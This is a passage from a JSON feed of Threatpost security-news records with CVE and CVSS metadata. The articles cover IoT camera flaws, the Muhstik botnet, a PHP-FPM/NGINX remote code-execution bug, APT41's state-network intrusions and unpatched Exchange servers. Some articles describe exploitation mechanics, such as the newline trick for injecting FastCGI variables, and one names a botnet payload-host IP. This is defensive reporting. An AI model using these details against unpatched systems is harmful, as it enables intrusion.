"info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:F54F8338674294DE3D323ED03140CB71", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:06", "description": "Over 2 million IP security cameras, baby monitors and smart doorbells have serious vulnerabilities that could enable an attacker to hijack the devices and spy on their owners \u2014 and there\u2019s currently no known patch for the shared flaws.\n\nThe attack stems from peer-to-peer (P2P) communication technology in all of these Internet of Things (IoT) devices, which allows them to be accessed without any manual configuration. The particular P2P solution that they use, iLnkP2P, is developed by Shenzhen Yunni Technology and contains two vulnerabilities that could allow remote hackers to find and take over vulnerable cameras used in the devices.\n\n\u201cOver 2 million vulnerable devices have been identified on the internet, including those distributed by HiChip, TENVIS, SV3C, VStarcam, Wanscam, NEO Coolcam, Sricam, Eye Sight and HVCAM,\u201d said Paul Marrapese, a security engineer who discovered the flaws, in a [post last week](<https://hacked.camera/>). \u201cAffected devices use a component called iLnkP2P. Unfortunately, iLnkP2P is used by hundreds of other brands as well, making identification of vulnerable devices difficult.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe first iLnkP2P bug is an enumeration vulnerability ([CVE-2019-11219](<https://nvd.nist.gov/vuln/detail/CVE-2019-11219>)), which enables attackers to discover exploitable devices that are online. The second is an authentication vulnerability ([CVE-2019-11220](<https://nvd.nist.gov/vuln/detail/CVE-2019-11220>)) that allows remote attackers to intercept user-to-device traffic in cleartext, including video streams and device credentials.\n\n[![security camera hack ](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29091449/security-camera-hack-300x276.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29091449/security-camera-hack.png>)\n\nThe UID prefixes on devices known to be vulnerable.\n\nIoT device users can discover if they are impacted by looking at their device\u2019s UID, which is its unique identifier. The first prefix part of a UID indicates exploitability: For instance, devices with the FFFF prefix are among those that are vulnerable. A list of all the prefixes that are known to be vulnerable is available in the image to the left.\n\nMarrapese said that he sent an initial advisory to device vendors regarding the security issues Jan. 15; and an advisory to the developers of iLnkP2P on Feb. 4, once he was able to identify them. He said that he has not received any responses despite multiple attempts at contact. The vulnerabilities were publicly disclosed April 24.\n\nIf consumers are impacted, they should block outbound traffic to UDP port 32100, which prevents devices from being accessed from external networks through P2P. However, Marrapese said the main step users could take is to buy a new device.\n\n\u201cIdeally, buy a new device from a reputable vendor,\u201d he said. \u201cResearch suggests that a fix from vendors is unlikely, and these devices are often riddled with other security problems that put their owners at risk.\u201d\n\nIt\u2019s hardly the first security issue in security and surveillance cameras, which hold sensitive data and video footage ripe for the taking for hackers.\n\n[In July](<https://threatpost.com/security-glitch-in-iot-camera-enabled-remote-monitoring/134504/>), IoT camera maker Swann patched a flaw in its connected cameras that would allow a remote attacker to access their video feeds. And in September up to 800,000 IP-based closed-circuit television cameras [were vulnerable](<https://threatpost.com/zero-day-bug-allows-hackers-to-access-cctv-surveillance-cameras/137499/>) to a zero-day vulnerability that could have allowed hackers to access surveillance cameras, spy on and manipulate video feeds, or plant malware.\n\n\u201cSecurity cameras continue to be the oxymoron of the 21st century,\u201d Joe Lea, vice president of product at Armis, in an email. \u201cThis is a perfect storm of a security exposure for an IoT device \u2013 no authentication, no encryption, near impossible upgrade path. We have to stop enabling connectivity over security \u2013 this is a defining moment in how we see lack of security for devices and lack of response.\u201d\n\nIn a comment to Threatpost, Marrapese said that vendors have a big part to play when it comes to doing more to secure their connected devices.\n\n\u201cVendors need to stop relying on \u2018security through obscurity,'\u201d he said. \u201cThe use of deterrents is not sufficient; vendors need to develop serious application security practices.\u201d\n", "cvss3": {}, "published": "2019-04-29T13:37:40", "type": "threatpost", "title": "2 Million IoT Devices Vulnerable to Complete Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11219", "CVE-2019-11220", "CVE-2020-0688"], "modified": "2019-04-29T13:37:40", "id": "THREATPOST:985BD7D2744A9AA9EC43C5DDCD561812", "href": "https://threatpost.com/iot-devices-vulnerable-takeover/144167/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:46", "description": "UPDATE\n\nA variant of the Muhstik botnet has been uncovered in the wild, exploiting a recently-disclosed, dangerous vulnerability in Oracle WebLogic servers.\n\nThe newfound samples of Muhstik are targeting the [recently-patched CVE-2019-2725](<https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/>) in WebLogic servers, and then launching distributed-denial-of-service (DDoS) and cryptojacking attacks with the aim of making money for the attacker behind the botnet, researchers said.\n\n\u201cFrom the timeline, we can see that the developer of Muhstik watches aggressively for new Linux service vulnerability exploits and takes immediate action to [incorporate] exploits against them into the botnet,\u201d Cong Zheng and Yanhui Jia, researchers with Palo Alto Network\u2019s Unit 42 team, said in a [Tuesday analysis](<https://unit42.paloaltonetworks.com/muhstik-botnet-exploits-the-latest-weblogic-vulnerability-for-cryptomining-and-ddos-attacks/>). \u201cThis makes sense, because the faster the botnet includes the new exploits, the greater chance of successfully using the vulnerability to harvest more bots before systems are patched.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nOracle WebLogic is a popular server used for building and deploying enterprise applications. The server\u2019s flaw ([CVE-2019-2725](<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html>)), meanwhile, has a CVSS score of 9.8 and is a remote code-execution (RCE) bug that is exploitable without authentication. Oracle patched the flaw on April 26.\n\nHowever, researchers first observed exploit traffic for the WebLogic vulnerability coming from three new Muhstik samples on April 28. Muhstik, which has been around since March 2018 and has wormlike self-propagating capabilities, is known to compromise Linux servers and IoT devices, and then launch cryptocurrency mining software and DDoS attacks.\n\nThey saw the exploit traffic being sent from the IP address 165.227.78[.]159, which was transmitting one shell command, to download a PHP webshell.\n\nInterestingly, that IP address (165.227.78[.]159) has previously been used by the Muhstik botnet as a mere reporting server to collect information on bots \u2013 but now, the IP address appears to also be used as a payload host server.\n\nThe discovery shows that new samples of the Muhstik botnet continue to sniff out ripe exploits. The botnet had previously targeted an earlier WebLogic vulnerability ([CVE-2017-10271](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271>)), as well as WordPress and [Drupal vulnerabilities.](<https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/>)\n\nUnit 42 researchers told Threatpost that they didn\u2019t have further information on the number of servers impacted.\n\n## Oracle WebLogic\n\nThe latest Oracle WebLogic flaw, which impacts versions 10.3.6 and 12.1.3 of the server, is one such ripe target.\n\nThe flaw could allow an attacker to send a request to a WebLogic server, which would then reach out to a malicious host to complete the request, opening up the impacted server to an remote code-execution attack.\n\nOracle for its part is urging users to update as soon as possible. \u201cDue to the severity of this vulnerability, Oracle recommends that this Security Alert be applied as soon as possible,\u201d Eric Maurice, director of security assurance at Oracle, said in a [recent post](<https://blogs.oracle.com/security/security-alert-cve-2019-2725-released>) about the vulnerability.\n\nOracle didn\u2019t respond to a request for further comment from Threatpost.\n\nHowever, servers that haven\u2019t yet updated are being targeted by several other bad actors, including ones spreading a new [ransomware variant](<https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/>) uncovered this week called \u201cSodinokibi.\u201d That ransomware first came onto researchers\u2019 radar on April 25 (the day before a patch was released), after attackers attempted to make an HTTP connection with vulnerable Oracle WebLogic servers.\n\nResearchers for their part warn of a slew of scans checking for the Oracle WebLogic vulnerability, and urge users to update their devices as soon as possible.\n\nhttps://twitter.com/bad_packets/status/1122356384849248258\n\nWhen it comes to Muhstik, Unit 42 researchers said that adding this latest exploit to the botnet\u2019s toolkit will increase the number of systems it can infect.\n\n\u201cThe Oracle WebLogic wls9-async RCE vulnerability is now being used by Muhstik botnet in the wild and there is a great possibility that it will be exploited by other malware families in the future,\u201d they said. \u201cUnder the pressure of racing with botnets, both service vendors and users should address new vulnerabilities by releasing patches and installing them respectively.\u201d\n\n_This article was updated on May 2 at 8 am ET to reflect Unit 42 comments._\n", "cvss3": {}, "published": "2019-05-01T14:11:11", "type": "threatpost", "title": "Muhstik Botnet Variant Targets Just-Patched Oracle WebLogic Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-10271", "CVE-2019-2725", "CVE-2020-0688"], "modified": "2019-05-01T14:11:11", "id": "THREATPOST:420EE567E806D93092741D7BB375AC57", "href": "https://threatpost.com/muhstik-botnet-variant-targets-just-patched-oracle-weblogic-flaw/144253/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-06T21:57:01", "description": "A buffer underflow bug in PHP could allow remote code-execution (RCE) on targeted NGINX servers.\n\nFirst discovered during a hCorem Capture the Flag competition in September, the bug (CVE-2019-11043) exists in the FastCGI directive used in some PHP implementations on NGINX servers, according to researchers at Wallarm.\n\nPHP powers about 30 percent of modern websites, including popular web platforms like WordPress and Drupal \u2013 but NGINX servers are only vulnerable if they have PHP-FPM enabled (a non-default optimization feature that allows servers to execute scripts faster). The issue [is patched](<https://bugs.php.net/patch-display.php?bug_id=78599&patch=0001-Fix-bug-78599-env_path_info-underflow-can-lead-to-RC.patch&revision=latest>) in PHP versions 7.3.11, 7.2.24 and 7.1.33, which were released last week.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIn a [Monday posting](<https://github.com/search?q=fastcgi_split_path&type=Code>), Wallarm researchers said that the bug can be exploited by sending specially crafted packets to the server by using the \u201cfastcgi_split_path\u201d directive in the NGINX configuration file. That file is configured to process user data, such as a URL. If an attacker creates a special URL that includes a \u201c%0a\u201d (newline) byte, the server will send back more data than it should, which confuses the FastCGI mechanism.\n\n\u201cIn particular, [the bug can be exploited] in a fastcgi_split_path directive and a regexp trick with newlines,\u201d according to Wallarm security researcher Andrew Danau, who found the bug. \u201cBecause of %0a character, NGINX will set an empty value to this variable, and fastcgi+PHP will not expect this\u2026.[as a result], it\u2019s possible to put [in] arbitrary FastCGI variables, like PHP_VALUE.\u201d\n\nAnother security researcher participating in the CTF exercise, Emil Lerner, offered more details in the [PHP bug tracker](<https://bugs.php.net/bug.php?id=78599>): \u201cThe regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug,\u201d he said.\n\nLerner [posted a zero-day proof-of-concept](<https://github.com/neex/phuip-fpizdam/>) exploit for the flaw that works in PHP 7 to allow code execution. The exploit makes use of an optimization used for storing FastCGI variables, _fcgi_data_seg.\n\n\u201cUsually, that sort of [buffer underflow] response is related to memory-corruption attacks and we expected to see an attack on the type of information disclosure,\u201d Wallarm researchers said. \u201cInformation disclosure is bad enough as it can result in leaking sensitive or financial data. Even worse, from time to time, although quite rarely, such behavior can indicate a remote code-execution vulnerability.\u201d\n\nResearchers added that without patching, this issue can be a dangerous entry point into web applications given the trivial nature of mounting an exploit.\n\nAdmins can identify vulnerable FastCGI directives in their NGINX configurations with a bash command, \u201cegrep -Rin \u2013color \u2018fastcgi_split_path\u2019 /etc/nginx/,\u201d according to Wallarm.\n\n_**What are the top mistakes leading to data breaches at modern enterprises? Find out: Join experts from SpyCloud and Threatpost senior editor Tara Seals on our upcoming free **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**, \u201cTrends in Fortune 1000 Breach Exposure.\u201d **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)_**.**_\n", "cvss3": {}, "published": "2019-10-28T16:18:11", "type": "threatpost", "title": "PHP Bug Allows Remote Code-Execution on NGINX Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11043", "CVE-2020-0688", "CVE-2020-1472"], "modified": "2019-10-28T16:18:11", "id": "THREATPOST:DBA639CBD82839FDE8E9F4AE1031AAF7", "href": "https://threatpost.com/php-bug-rce-nginx-servers/149593/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-09T21:12:26", "description": "USAHerds \u2013 an app used ([PDF](<https://www.aphis.usda.gov/traceability/downloads/adt_states/CO.pdf>)) by farmers to speed their response to diseases and other threats to their livestock \u2013 has itself become an infection vector, used to pry open at least six U.S. state networks by one of China\u2019s most prolific state-sponsored espionage groups.\n\nIn a [report](<https://www.mandiant.com/resources/apt41-us-state-governments>) published by Mandiant on Tuesday, researchers described a prolonged incursion conducted by APT41. They detected the activity in May 2021 and tracked it through last month, February 2022, observing the spy group pry open vulnerable, internet-facing web apps that were often written in ASP.NET.\n\n[APT41](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>) \u2013 aka Winnti, Barium, [Wicked Panda](<https://threatpost.com/sidewalk-backdoor-china-espionage-grayfly/169310/>) or Wicked Spider \u2013 is an advanced persistent threat (APT) actor[ known for](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) nation state-backed [cyberespionage](<https://threatpost.com/china-hackers-spy-texts-messagetap-malware/149761/>), [supply-chain hits](<https://www.eset.com/us/about/newsroom/press-releases/eset-dissects-arsenal-of-supply-chain-attacks-by-the-winnti-group/>) and profit-driven cybercrime.\n\n## What\u2019s the Point?\n\nAPT41\u2019s goals are unknown, researchers said, though they\u2019ve observed evidence of the attackers exfiltrating personal identifiable information (PII).\n\n\u201cAlthough the victimology and targeting of PII data is consistent with an espionage operation, Mandiant cannot make a definitive assessment at this time given APT41\u2019s history of moonlighting for personal financial gain,\u201d they wrote.\n\nTher investigations have also revealed a slew of new techniques, malware variants, evasion methods and capabilities.\n\n\u201cIn most of the web application compromises, APT41 conducted .NET deserialization attacks; however, we have also observed APT41 exploiting SQL injection and directory traversal vulnerabilities,\u201d they said.\n\nA deserialization attack is one in which attackers exploit a vulnerability to insert malicious objects into a web app, while \u200b\u200bSQL injection is a type of attack that allows a cyberattacker to interfere with the queries that an application makes to its database.\n\nSQL injection attacks are typically carried out by inserting malicious SQL statements into an entry field used by the website (like a comment field). Directory traversal, aka path traversal, is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server\u2019s root directory.\n\n## Via Logs and a Cow-Tracking App\n\nTo hack into the states\u2019 neworks, the threat actor used a zero-day vulnerability ([CVE-2021-44207](<https://nvd.nist.gov/vuln/detail/CVE-2021-44207>)) in USAHerds (aka the Animal Health Emergency Reporting Diagnostic System), Mandiant reported. In the most recent campaigns, the actor also leveraged the now infamous zero-day in [Log4j](<https://threatpost.com/microsoft-rampant-log4j-exploits-testing/177358/>) (CVE-2021-44228).\n\nThe USAHerd zero day flaw, which Acclaim Systems patched in November 2021, has to do with the app\u2019s use of hard-coded credentials to achieve remote code execution (RCE) on the system that runs it. The app is used in 18 states for animal health management.\n\nMandiant compared the bug to a previously reported vulnerability in Microsoft Exchange Server ([CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>)) \u2013 a bug that was still [under active attack](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) via ProxyShell attacks as of August 2021. The similarity between the two, researchers explained, is that \u201cthe applications used a static validationKey and decryptionKey (collectively known as the machineKey) by default.\u201d\n\nAs a result, all installations of USAHerds shared these values, researchers explained, which is a no-no, being \u201cagainst the best practice of using uniquely generated machineKey values per application instance.\u201d\n\n\u201cGenerating unique machineKey values is critical to the security of an ASP.NET web application because the values are used to secure the integrity of the ViewState,\u201d they cautioned.\n\nMandiant couldn\u2019t figure out how APT41 originally obtained the machineKey values for USAHerds, but once the threat actors got that machineKey, they used it to compromise \u201cany server on the Internet running USAHerds.\u201d\n\nThus, researchers said, there are likely more victims than the six state networks, though they don\u2019t know who or what those victims are.\n\nAs far as APT41\u2019s use of the trio of bugs collectively known as Log4Shell goes, it\u2019s hardly surprising: Within hours of the initial Log4J flaw\u2019s[ public disclosure](<https://threatpost.com/zero-day-in-ubiquitous-apache-log4j-tool-under-active-attack/176937/>) on Dec. 10, 2021,[ attackers](<https://threatpost.com/patching-time-log4j-exploits-vaccine/177017/>) were scanning for vulnerable servers and[ unleashing quickly evolving attacks](<https://threatpost.com/apache-log4j-log4shell-mutations/176962/>) to drop coin-miners, Cobalt Strike, the Orcus remote access trojan (RAT), reverse bash shells for future attacks,[ Mirai and other botnets](<https://threatpost.com/log4shell-attacks-origin-botnet/176977/>), and backdoors. By January 2022, Mirosoft was observing rampant Log4j [exploit attempts](<https://threatpost.com/microsoft-rampant-log4j-exploits-testing/177358/>) and testing.\n\nLog4Shell exploits cause Java to fetch and deserialize a remote Java object, resulting in potential code execution, Mandiant explained.\n\n\u201cSimilar to their previous web application targeting, APT41 continued to use [YSoSerial](<https://github.com/frohoff/ysoserial>) generated deserialization payloads to perform reconnaissance and deploy backdoors,\u201d according to the report.\n\n\u201cNotably, APT41 deployed a new variant of the[ KEYPLUG](<https://advantage.mandiant.com/malware/malware--4484e24c-fbf7-5894-90e2-4c6ed949ec6c>) backdoor on Linux servers at multiple victims, a malware sub-family we now track as[ KEYPLUG.LINUX](<https://advantage.mandiant.com/malware/malware--e9079969-5b46-5218-9915-3a6ebc566489>). KEYPLUG is a modular backdoor written in C++ that supports multiple network protocols for command and control (C2) traffic including HTTP, TCP, KCP over UDP, and WSS.\u201d\n\nAPT41 \u201cheavily\u201d used the Windows version of the KEYPLUG backdoor at state government victims between June 2021 and December 2021, researchers said. \u201cThus, the deployment of a ported version of the backdoor closely following the state government campaign was significant.\u201d\n\nAfter exploiting Log4Shell, the hackers continued to use deserialization payloads to issue ping commands to domains, researchers said: one of APT41\u2019s favorite techniques, which it used to go after government victims months prior.\n\nAfter the group got access to a targeted environment, \u201cAPT41 performed host and network reconnaissance before deploying KEYPLUG.LINUX to establish a foothold in the environment,\u201d Mandiant said. The cybersecurity firm gave sample commands, shown below, which were used to deploy KEYPLUG.LINUX.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/09154416/Deployment-of-KEYPLUG.LINUX-Following-Log4j-Exploitation-e1646858693371.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/09154416/Deployment-of-KEYPLUG.LINUX-Following-Log4j-Exploitation-e1646858693371.png>)\n\nDeployment of KEYPLUG.LINUX Following Log4j Exploitation. Source: Mandiant.\n\n## A Swarm of Attacks\n\nIn one incident wherein Mandiant researchers spotted APT41 using SQL injection vulnerability in a proprietary web application to gain access, the attempt was quickly corralled. But two weeks later, the actor came back to compromise the network by exploiting the USAHerds zero day.\n\nThe hackers were coming after state agencies in rapid-fire, repeat attacks, they said. \u201cIn two other instances, Mandiant began an investigation at one state agency only to find that APT41 had also compromised a separate, unrelated agency in the same state,\u201d according to Mandiant.\n\nThe APT was nimble, rapidly shifting to use publicly disclosed vulnerabilities to gain initial access into target networks, while also maintaining existing operations, according to the report.\n\nThe critical Log4J RCE vulnerability is a case in point: Within hours of the Dec. 10 advisory, APT41 began picking it apart. The attackers exploited Log4J to later compromise \u201cat least two U.S. state governments as well as their more traditional targets in the insurance and telecommunications industries,\u201d Mandiant said.\n\n## A Taste for States\n\nThen, late last month, APT41 circled back to re-compromis two previous U.S. state government victims. \u201cOur ongoing investigations show the activity closely aligns with APT41\u2019s May-December 2021 activity, representing a continuation of their campaign into 2022 and demonstrating their unceasing desire to access state government networks,\u201d according to the researchers.\n\nMandiant sketched out a timeline, replicated below, showing the attacks against state government networks.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/09151429/APT41_state_government_campaign_timeline-e1646857032834.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/09151429/APT41_state_government_campaign_timeline-e1646857032834.jpg>)\n\nU.S. state government campaign timeline. Source: Mandiant.\n\n## APT 41 Still Quick on Its Feet\n\nMandiant outlined a catalog of updated tradecraft and new malware that shows that APT41 continues to be nimble, \u201chighly adaptable\u201d and \u201cresourceful.\u201d\n\n\u201cAPT41\u2019s recent activity against U.S. state governments consists of significant new capabilities, from new attack vectors to post-compromise tools and techniques,\u201d researchers concluded.\n\n\u201cAPT41 can quickly adapt their initial access techniques by re-compromising an environment through a different vector, or by rapidly operationalizing a fresh vulnerability. The group also demonstrates a willingness to retool and deploy capabilities through new attack vectors as opposed to holding onto them for future use,\u201d the researchers said.\n\nExploiting Log4J in close proximity to the USAHerds campaign is a case in point: it showed that the group\u2019s flexible when it comes to targeting U.S state governments \u201cthrough both cultivated and co-opted attack vectors,\u201d Mandiant said.\n\nSo much for the U.S. [indictment](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) of five alleged APT41 members in September 2020: a grand jury move that was as easy for the group to hop over as a flattened cow patty.\n\n\u201cThe scope and sophistication of the crimes in these unsealed indictments is unprecedented. The alleged criminal scheme used actors in China and Malaysia to illegally hack, intrude and steal information from victims worldwide,\u201d said Michael Sherwin, acting U.S. attorney for the District of Columbia,[ in a DoJ statement](<https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer>) accompanying the Federal grand jury\u2019s 2020 indictment. \u201cAs set forth in the charging documents, some of these criminal actors believed their association with the PRC provided them free license to hack and steal across the globe.\u201d\n\nSeventeen months later, that still sounds about right to Mandiant: \u201cAPT41 continues to be undeterred,\u201d in spite of whatever the U.S. Department of Justice cares to throw in its path, researchers said.\n\nRegister Today for [**Log4j Exploit: Lessons Learned and Risk Reduction Best Practices**](<https://bit.ly/3BXPL6S>) \u2013 a LIVE **Threatpost event** sked for Thurs., March 10 at 2PM ET. Join Sonatype code **expert Justin Young** as he helps you sharpen code-hunting skills to reduce attacker dwell time. Learn why Log4j is still dangerous and how SBOMs fit into software supply-chain security. [Register Now for this one-time FREE event](<https://bit.ly/3BXPL6S>), Sponsored by Sonatype.\n\n![](https://slack-imgs.com/?c=1&o1=ro&url=https%3A%2F%2Fmedia.threatpost.com%2Fwp-content%2Fuploads%2Fsites%2F103%2F2022%2F02%2F25090838%2FLog4J.jpg)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-09T21:10:20", "type": "threatpost", "title": "APT41 Spies Broke Into 6 US State Networks via a Livestock App", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2021-44207", "CVE-2021-44228"], "modified": "2022-03-09T21:10:20", "id": "THREATPOST:CF4E98EC11A9E5961C991FE8C769544E", "href": "https://threatpost.com/apt41-spies-broke-into-6-us-state-networks-via-livestock-app/178838/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:21:46", "description": "Over 80 percent of exposed Exchange servers are still vulnerable to a severe vulnerability \u2013 nearly two months after the flaw was patched, and after researchers warned that multiple threat groups were exploiting it.\n\nThe vulnerability in question ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, opens servers up to authenticated attackers, who could execute code remotely on them with system privileges.\n\nResearchers recently used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw. Out of 433,464 internet-facing Exchange servers observed, at least 357,629 were vulnerable (as of March 24).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\u201cIf your organization is using Exchange and you aren\u2019t sure whether it has been updated, we strongly urge you to skip to the Taking Action section immediately,\u201d said Tom Sellers, manager of the Rapid7 Labs team, in a [Monday analysis](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>).\n\nWhile the flaw was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates, researchers warned [in a March advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors. Attacks [first started late February](<https://www.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?utm_source=charge&utm_medium=social&utm_campaign=internal-comms>) and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\nBrian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program (which was credited with discovered the flaw) told [Threatpost via email](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that while the vulnerability was labelled \u201cimportant\u201d in severity by Microsoft, researchers opine it should be treated as \u201ccritical.\u201d\n\n\u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog,\u201d he said. \u201cWe felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\nThe patch management issues with Exchange servers extend beyond CVE-2020-0688. Sellers said his investigation revealed that over 31,000 Exchange 2010 servers have not been updated since 2012. And, there are nearly 800 Exchange 2010 servers that have never been updated, he said.\n\nSellers urged admins to verify that an update has been deployed. He also said users can determine whether anyone has attempted to exploit the vulnerability in their environment: \u201cSince exploitation requires a valid Exchange user account, any account tied to these attempts should be treated as compromised,\u201d Sellers said.\n\n> If your org uses Microsoft Exchange I *strongly* recommend you make sure the patch for CVE-2020-0688 (Feb 11) is installed.\n> \n> Unpatched means phished user = SYSTEM on OWA servers.[@Rapid7](<https://twitter.com/rapid7?ref_src=twsrc%5Etfw>) Project Sonar found at least 357,629 unpatched hosts.\n> \n> Blog post: <https://t.co/DclWb3T0mZ>\n> \n> \u2014 Tom Sellers (@TomSellers) [April 6, 2020](<https://twitter.com/TomSellers/status/1247215382773018624?ref_src=twsrc%5Etfw>)\n\n\u201cThe most important step is to determine whether Exchange has been updated,\u201d Sellers said. \u201cThe update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled. This will typically be servers with the Client Access Server (CAS) role, which is where your users would access Outlook Web App (OWA).\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/24173101/DUO_320x50.jpg)](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-07T21:19:15", "type": "threatpost", "title": "Serious Exchange Flaw Still Plagues 350K Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-04-07T21:19:15", "id": "THREATPOST:DF7C78725F19B2637603E423E56656D4", "href": "https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:23:47", "description": "Two high-severity flaws, discovered in a popular Fujitsu wireless keyboard set, could allow attackers from a short distance away to \u201ceavesdrop\u201d on passwords entered into the keyboards, or even fully takeover a victim\u2019s system.\n\nMaking matters worse, the impacted Fujitsu wireless keyboard LX390 reached end-of-life in May 2019 \u2013 meaning that a patch is not available and affected users are instead urged to replace their keyboards entirely.\n\n\u201cFujitsu has released two new wireless keyboard sets named LX410 and LX960 that are not affected by the described security issue,\u201d said Matthias Deeg, researcher with Germany-based SySS, in an advisory [sent to Threatpost on Wednesday](<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-011.txt>). \u201cSySS recommends replacing LX390 wireless keyboard sets used in environments with higher security 